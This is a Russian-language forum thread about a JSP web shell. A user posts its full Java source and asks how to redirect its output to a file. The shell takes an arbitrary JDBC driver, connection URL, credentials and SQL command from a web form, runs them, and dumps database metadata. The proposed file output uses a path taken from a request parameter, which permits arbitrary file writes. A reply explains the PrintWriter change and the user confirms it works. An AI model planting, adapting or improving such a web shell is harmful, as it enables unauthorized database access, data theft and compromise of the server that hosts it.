Просмотр полной версии : web shell с SQL на JSP (java)
Предыдущий вопрос неактуален, поэтому напишу новый в этой теме:
class DBM{
private JspWriter out;
private Connection con;
private Statement stmt;
private ResultSet rs;
public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
Class.forName(driverName);
this.out=out;
con=DriverManager.getConnection(url,userName,passW ord);
}
В этом классе есьт функция, которая пишет вывод так:
out.print("</tr>");
Сейчас он (класс) вызывается так:
DBM dbm=new DBM("net.jtds.jdbc.Driver","jdbc:jtds:sqlserver://blah-blah","user","pass",out);
Поэтому вывод пишется на экран.
Что нужно изменить, чтобы вывод писался в какой-нибудь файл, который бы я указал?
Видел такую конструкцию:
java.io.FileWriter fw = new java.io.FileWriter(request.getParameter("file"));
java.io.PrintWriter pw = new java.io.PrintWriter(fw);
pw.println("<foo>Hello world!</foo>");
Но как сказать писать в файл функции того класса? она пишет просто в out на экран.
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
import org.apache.jasper.runtime.*;
import java.util.*;
import java.io.*;
import java.sql.*;
public class testo_jsp extends HttpJspBase {
//connection to the database
void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
DBM dbm=new DBM(driver,url,userName,passWord,out);
if(sqlAction.equals("LDB")){
dbm.lookInfo();
}else{
dbm.executeSQL(sqlCmd);
}
dbm.closeAll();
}
//database manager class
class DBM{
private JspWriter out;
private Connection con;
private Statement stmt;
private ResultSet rs;
public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
Class.forName(driverName);
this.out=out;
con=DriverManager.getConnection(url,userName,passW ord);
}
public void lookInfo()throws Exception{
DatabaseMetaData dbmd=con.getMetaData();
String tableType=null;
out.print("<strong>DataBaseInfo</strong><table>");
out.print("<tr><td>DataBaseName:</td><td>"+dbmd.getDatabaseProductName()+"</td></tr>");
out.print("<tr><td>DataBaseVersion:</td><td>"+dbmd.getDatabaseProductVersion()+"</td></tr>");
out.print("<tr><td>the Numeric Function:</td><td>"+dbmd.getNumericFunctions()+"</td></tr>");
out.print("<tr><td>the String Function:</td><td>"+dbmd.getStringFunctions()+"</td></tr>");
out.print("<tr><td>the TimeDate Function:</td><td>"+dbmd.getTimeDateFunctions()+"</td></tr>");
out.print("<tr><td>the System Function:</td><td>"+dbmd.getSystemFunctions()+"</td></tr>");
out.print("</table>");
out.print("<strong>ProcedureInfo</strong><table>");
try{
getProcedureDetail(dbmd.getProcedures(null,null,nu ll));
}catch(Exception proE){}
//show all the tables
try{
rs=dbmd.getTables(null,null,null,null);
}catch(Exception tabE){}
out.print("<strong>DataBase Tables Info</strong><br>");
while(rs.next()){
tableType=rs.getString(4);
out.print("<strong>TableName:</strong>"+rs.getString(3)+" <strong>Type:</strong>"+tableType+"<br>");
if(tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){
try{
getTableDetail(dbmd.getColumns(null,null,rs.getStr ing(3),null));
}catch(Exception columnE){}
}
}
this.closeAll();
}
//show the column information
private void getTableDetail(ResultSet tableRs)throws Exception{
out.print("<table border=1><tr><td>COLUMN_NAME</td><td>DATA_TYPE</td><td>TYPE_NAME</td><td>COLUMN_SIZE</td><td>IS_NULLABLE</td><td>CHAR_OCTET_LENGTH</td></tr>");
while(tableRs.next()){
out.print("<tr><td>"+tableRs.getString(4)+"</td><td>"+tableRs.getInt(5)+"</td><td>"+tableRs.getString(6)+"</td><td>"+tableRs.getInt(7)+"</td><td>"+tableRs.getString(18)+"</td><td>"+tableRs.getInt(16)+"</td></tr>");
}
out.print("</table>");
tableRs.close();
}
//show all the procedures
private void getProcedureDetail(ResultSet procRs)throws Exception{
out.print("<table border=1><tr><td>PROCEDURE_NAME</td><td>REMARKS</td><td>PROCEDURE_TYPE</td></tr>");
while(procRs.next()){
out.print("<tr><td>"+procRs.getString(3)+"</td><td>"+procRs.getString(7)+"</td><td>"+procRs.getShort(8)+"</td></tr>");
}
out.print("</table>");
procRs.close();
}
//run the sql command
public void executeSQL(String sqlCmd)throws Exception{
stmt=con.createStatement();
if(sqlCmd.trim().toLowerCase().startsWith("select")){
rs=stmt.executeQuery(sqlCmd);
ResultSetMetaData rsmd=rs.getMetaData();
int ColumnCount=rsmd.getColumnCount();
out.print("<table border=1><tr>");
for(int i=1;i<=ColumnCount;i++){
out.print("<td>"+rsmd.getColumnName(i)+"</td>");
}
out.print("</tr>");
while(rs.next()){
out.print("</tr>");
for(int i=1;i<=ColumnCount;i++){
out.print("<td>"+rs.getString(i)+"</td>");
}
out.print("</tr>");
}
}else{
stmt.executeUpdate(sqlCmd);
out.print("execute success");
}
}
//close all the resource
public void closeAll()throws SQLException{
try{
if(rs!=null)rs.close();
}catch(Exception e){
}
try{
if(stmt!=null)stmt.close();
}catch(Exception e){
}
try{
if(con!=null)con.close();
}catch(Exception e){
}
}
}
private static java.util.Vector _jspx_includes;
public java.util.List getIncludes() {
return _jspx_includes;
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
JspFactory _jspxFactory = null;
javax.servlet.jsp.PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
try {
_jspxFactory = JspFactory.getDefaultFactory();
response.setContentType("text/html;charset=ISO-8859-1");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("\r\n");
out.write("\r\n");
out.write("<HTML>");
out.write("<BODY>\r\n\t\r\n");
out.write("<script type=\"text/javascript\">\r\n\r\n function setDataBase(f){\r\n driverName=new Array();\r\n driverName[0]=\"com.sybase.jdbc2.jdbc.SybDriver\";\r\n driverName[1]=\"com.microsoft.jdbc.sqlserver.SQLServerDriver\";\r\n driverName[2]=\"com.mysql.jdbc.Driver\";\r\n driverName[3]=\"oracle.jdbc.driver.OracleDriver\";\r\n driverName[4]=\"com.ibm.db2.jdbc.app.DB2Driver\";\r\n driverName[5]=\"org.postgresql.Driver\";\r\n conUrl=new Array();\r\n conUrl[0]=\"jdbc:jtds:sybase://host:port/database\";\r\n conUrl[1]=\"jdbc:microsoft:sqlserver://host:port;DatabaseName=\";\r\n conUrl[2]=\"jdbc:mysql://host:port/database\";\r\n conUrl[3]=\"jdbc:oracle:thin:@host:port:database\";\r\n conUrl[4]=\"jdbc:db2://host:port/database\";\r\n conUrl[5]=\"jdbc:postgresql://host:port/database\";\r\n \r\n f.driver.value=driverName[f.DB.selectedIndex];\r\n f.conUrl.value=conUrl[f.DB.selectedIndex];\r\n }\r\n");
out.write("</script>\r\n\r\n");
out.write("<tr>\r\n\t");
out.write("<FORM METHOD=\"POST\" NAME=\"myforms\" ACTION=\"\">\r\n\t");
out.write("<select name=DB onChange='setDataBase(this.form);'> ");
out.write("<option>Sybase");
out.write("</option>");
out.write("<option>Mssql");
out.write("</option>");
out.write("<option>Mysql");
out.write("</option>");
out.write("<option>Oracle");
out.write("</option>");
out.write("<option>DB2");
out.write("</option>");
out.write("<option>PostgreSQL");
out.write("</option>");
out.write("</select>");
out.write("</td>\r\n\t");
out.write("<td>Driver:");
out.write("<input name=driver type=text>URL:");
out.write("<input name=conUrl type=text>user:");
out.write("<input name=user type=text size=3>pass:");
out.write("<input name=password type=text size=3>");
out.write("</td>\r\n\t");
out.write("<td>SqlCmd:");
out.write("<input type=text name=sqlcmd title='select * from admin'>\r\n\t");
out.write("<input name=run type=submit value=Exec>");
out.write("</td>\r\n\t");
out.write("<td>");
out.write("<input name=run type=submit value=LDB>");
out.write("</td>\r\n\t");
out.write("</form>\r\n");
out.write("</tr>\r\n");
if (request.getParameter("run") != null) {
//ConnectionDBM(out,encodeChange(request.getParamete r("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));
ConnectionDBM(out,request.getParameter("driver"),request.getParameter("conUrl"),request.getParameter("user"),request.getParameter("password"),request.getParameter("run"),request.getParameter("sqlcmd"));
out.close();
out.write("\r\n");
out.write("</BODY>");
out.write("</HTML>");
}
}
catch (Throwable t) {
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
out.clearBuffer();
if (pageContext != null) pageContext.handlePageException(t);
} finally {
if (_jspxFactory != null) _jspxFactory.releasePageContext(pageContext);
}
}
}
не понял тебя, как это генерит.
у меня норм скомпилилось все )
обновил первый пост, кто знает, подскажите плиз.
Но как сказать писать в файл функции того класса?
Что означает эта фраза?
Чтобы писать в файл тебе нужно заменить
out = pageContext.getOut();на то что ты написал:
java.io.FileWriter fw = new java.io.FileWriter(request.getParameter("file"));
java.io.PrintWriter pw = new java.io.PrintWriter(fw);
pw.println("<foo>Hello world!</foo>");
Что означает эта фраза?
Чтобы писать в файл тебе нужно заменить
out = pageContext.getOut();
У меня такого вообще нету.
Класс вызывается вот так:
DBM dbm=new DBM("net.jtds.jdbc.Driver","jdbc:jtds:sqlserver://blah-blah","user","pass",out);
Обрати внимание, что ему на вход передается out.
Если передавать pw - то exception.
Сама эта функция:
public void executeSQL(String sqlCmd)throws Exception{
stmt=con.createStatement();
rs=stmt.executeQuery(sqlCmd);
ResultSetMetaData rsmd=rs.getMetaData();
int ColumnCount=rsmd.getColumnCount();
out.print("<table border=1><tr>");
for(int i=1;i<=ColumnCount;i++){
pw.print("<td>"+rsmd.getColumnName(i)+"</td>");
}
out.print("</tr>");
while(rs.next()){
out.print("</tr>");
for(int i=1;i<=ColumnCount;i++){
out.print("<td>"+rs.getString(i)+"</td>");
}
out.print("</tr>");
}
}
Т.е. она весь вывод делает командами:
out.print("blahblahblah");
А поскольку out на вход класса, в котором эта функция) дается как просто out (а это поток на экран), то и вывод идет на экран.
Вот я и не пойму, что мне поменять, чтобы out.print("blahblahblah"); этой функцией - выводился в файл.
По идее мне надо вызвывать класс вот так:
DBM dbm=new DBM("net.jtds.jdbc.Driver","jdbc:jtds:sqlserver://blah-blah","user","pass",pw);
но тогда идет exception.
Переделай конструктор класса. Поменяй у последнего параметра( out ) класс на PrintWriter. В самом классе у поля out класс тоже поменяй на PrintWriter. И передавай в конструкторе объект PrintWiter'a.
Переделай конструктор класса. Поменяй у последнего параметра( out ) класс на PrintWriter. В самом классе у поля out класс тоже поменяй на PrintWriter. И передавай в конструкторе объект PrintWiter'a.
Спасибо!
Forcer - большущий рахмет тебе! Помогло.
Спасибо!!!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot